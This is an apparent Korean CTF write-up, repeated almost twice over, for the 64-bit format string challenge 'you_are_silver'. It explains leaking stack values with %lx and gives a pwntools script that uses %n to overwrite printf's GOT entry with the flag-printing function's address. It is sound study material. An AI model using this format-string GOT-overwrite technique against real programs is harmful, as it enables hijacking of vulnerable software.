offset = 6
(python -c 'print "AAAAAAAA"+"%06$lx"')
(python -c 'print "AAAAAAAA"+"%11$lx"')
https://holinder4s.tistory.com/29 fsb팁
%lx = 12자리 출력
포맷스트링버그는 개발자의 실수로 printf(buf) 이렇게 사용했을 때 입력값을 포맷스트링으로 넣으면 입력값을 문자로 취급하는게 아닌, 서식문자로 취급하여 취약점이 일어날 수 있습니다
출처: https://shayete.tistory.com/entry/5-Format-String-Attack-FSB [샤의 공간]
%n 을 사용하여, 특정 메모리 주소에 값을 쓸 수가 있다.
32비트와 다르게 64비트는 스택이 아니라 레지스터 주소부터 leak됨.
%rdi, %rsi, %rdx, %rcx, %r8, %r9 순서로 출력
./you_are_silver
AAAABBBB %lx %lx %lx %lx %lx %lx %lx
AAAABBBB 7ffe2b7b0750 7fc75f4c08d0 20786c2520786c25 7af285 2042424242414141 4242424241414141 786c2520786c2520
6번째에 값이 나온다.
gdb 에서 g는 8바이트 단위로 출력 , x는 16진수로 출력
사진을 보면 , rsi rdx rcx r8 r9 rbp-0x30형태로 출력, 따라서 %6$ln은 rbp-0x30이다.
from pwn import * p = remote('ctf.j0n9hyun.xyz', 3022) e = ELF('./you_are_silver') printf_got = e.got['printf'] cat_flag = 0x400750 payload = "" p.recvuntil("name\\n") payload += "%4196176d" payload += "%8$ln" payload += "AA" payload += p64(printf_got) p.sendline(payload) p.interactive()
%4196176d는 cat_flag의 주소.
%8$ln을 하는 이유는 64비트는 레지스터부터 넣음
rdi rsi rdx rcx r8 r9... 여기서는 offset 6이 rbp-0x30이고, fgets함수, printf함수를 호출하므로 스택 구조가 이렇게 예상(확실하지는 않습니다... )
| rdi | rsi | rdx | rcx | r8 | r9 | rbp-0x30 | fgets | printf 이렇게 함수에 들어갈테고, printf 는 8번째 오프셋일 것이다. 따라서 %8$ln
AA는 하위 2바이트가 다른 값으로 덮어씌우는것 + 실버 탈출을 위해서.
따라서 위 페이로드면 printf_got가 cat_flag의 주소로 덮어 씌워져서 결국은 system(cat ./flag)가 될것이다.
포맷스트링 , 64비트 함수 호출 규약, 64비트 스택 구조
You_are_silver
FSB 문제
offset = 6
(python -c 'print "AAAAAAAA"+"%06$lx"')
(python -c 'print "AAAAAAAA"+"%11$lx"')
https://holinder4s.tistory.com/29 fsb팁
%lx = 12자리 출력
포맷스트링버그는 개발자의 실수로 printf(buf) 이렇게 사용했을 때 입력값을 포맷스트링으로 넣으면 입력값을 문자로 취급하는게 아닌, 서식문자로 취급하여 취약점이 일어날 수 있습니다
출처: https://shayete.tistory.com/entry/5-Format-String-Attack-FSB [샤의 공간]
%n 을 사용하여, 특정 메모리 주소에 값을 쓸 수가 있다.
32비트와 다르게 64비트는 스택이 아니라 레지스터 주소부터 leak됨.
%rdi, %rsi, %rdx, %rcx, %r8, %r9 순서로 출력
./you_are_silver
AAAABBBB %lx %lx %lx %lx %lx %lx %lx
AAAABBBB 7ffe2b7b0750 7fc75f4c08d0 20786c2520786c25 7af285 2042424242414141 4242424241414141 786c2520786c2520
6번째에 값이 나온다.
gdb 에서 g는 8바이트 단위로 출력 , x는 16진수로 출력
사진을 보면 , rsi rdx rcx r8 r9 rbp-0x30형태로 출력, 따라서 %6$ln은 rbp-0x30이다.
%4196176d는 cat_flag의 주소.
%8$ln을 하는 이유는 64비트는 레지스터부터 넣음
rdi rsi rdx rcx r8 r9... 여기서는 offset 6이 rbp-0x30이고, fgets함수, printf함수를 호출하므로 스택 구조가 이렇게 예상(확실하지는 않습니다... )
| rdi | rsi | rdx | rcx | r8 | r9 | rbp-0x30 | fgets | printf 이렇게 함수에 들어갈테고, printf 는 8번째 오프셋일 것이다. 따라서 %8$ln
AA는 하위 2바이트가 다른 값으로 덮어씌우는것 + 실버 탈출을 위해서.
따라서 위 페이로드면 printf_got가 cat_flag의 주소로 덮어 씌워져서 결국은 system(cat ./flag)가 될것이다.
부족한점
포맷스트링 , 64비트 함수 호출 규약, 64비트 스택 구조
'HackCTF' 카테고리의 다른 글